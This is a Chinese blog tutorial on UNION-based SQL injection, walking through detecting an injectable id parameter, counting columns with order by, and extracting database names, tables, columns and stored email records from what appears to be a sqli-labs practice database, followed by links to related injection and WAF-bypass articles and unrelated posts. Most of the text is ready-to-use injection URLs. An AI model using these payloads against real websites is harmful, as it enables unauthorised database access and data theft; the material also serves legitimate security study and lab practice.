union注入

更多内容请看此链接:https://blog.csdn.net/weixin_45380284

1.判断是否存在注入:

方法一:

单引号法——在url最后加一个单引号,如:

http://www.123456.com/web/union.php?id=1'

页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。

方法二:

1=1和1=2法,如:

http://www.123456.com/web/union.php?id=1 and 1=1

URL:http://www.123456.com/web/union.php?id=1 and 1=2

如果返回不同的页面,那么说明存在SQL注入漏洞。

2.使用order by 1-99 来查询该数据表字段数

方法;

Id=1 order by 1-99 来判断字段数,例如:

http://www.tianchi.com/web/union.php?id=1 order by 3

发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

3.查询sql语句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3

通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句

4.获取数据库名:

1.获取当前数据库库名:

将id=-1 union select 1,2,3中2的位置改为database() 如:

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.获取所有数据库库名

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:

information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.获取数据库表名:

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:

一次性获取当前数据库所有表名:

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP代码

union注入的更多相关文章

  1. oracle union 注入工具

    '***********************************************************************************************'ora ...

  2. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  3. SQL注入之Union注入攻击

    union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...

  4. sqli-labs less11-12(post型union注入)

    less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...

  5. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. sql注入之union注入

    联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...

  9. sqli-labs less1-4(union注入)

    less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...

随机推荐

  1. 容器技术之Docker Machine

    前文我们聊了下docker容器的资源限制,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13138725.html:今天我们来聊一聊docker machine ...

  2. vue 生命周期:

    vue  生命周期: 1. beforeCreate()创建组件;        2. created() 创建完成;        3. beforeMounte() 组件被挂裁前;        ...

  3. vue学习第一天:v-bind的使用(让属性绑定变量)

    v-bind的使用 v-bind: 是vue中,提供用于绑定属性的指令  例: <input type="button" value="按钮" title ...

  4. jni 字符串的梳理 2 字符串的处理操作

    我们实现下面的一个功能: 1.首先在java层传递一个字符串到c层,c层首先将jstring转换成char*类型,然后将两个字符串相加,然后再再将char*类型转换成jstring,在上层显示出来 我 ...

  5. 单元测试中使用mock最好不要使用easymock而应该使用powermock

    视频参考汪文君powermock视频教程相当的经典

  6. SpringMVC 学习笔记(五)

    47. 尚硅谷_佟刚_SpringMVC_文件上传.avi 参看博客https://www.cnblogs.com/hanfeihanfei/p/7931758.html相当的经典 我是陌生人关于Sp ...

  7. java基础-8种基本类型

    正文 java中的八种基础类型. boolean:只有两个值,false,true 带符号类型 byte:占用1个字节,一个字节也就是8位,那么由于是最高一位是用来表示 负还是正,所以范围就是 -2^ ...

  8. 入门大数据---通过Yarn搭建MapReduce和应用实例

    上一篇中我们了解了MapReduce和Yarn的基本概念,接下来带领大家搭建下Mapreduce-HA的框架. 结构图如下: 开始搭建: 一.配置环境 注:可以现在一台计算机上进行配置,然后分发给其它 ...

  9. 锐捷交换机18010-X端口假死现象

    一次上架锐捷交换机,由于ODF光衰不稳定,导致交换机端口down,排查很多发现以下故障: 重置18010-X端口发现提示一下命令: Port in violation! Use 'errdisable ...

  10. Vue前端压缩图片

    一.在组件包下新建compressImage.js // 压缩图片 // eslint-disable-next-line no-unused-vars export function compres ...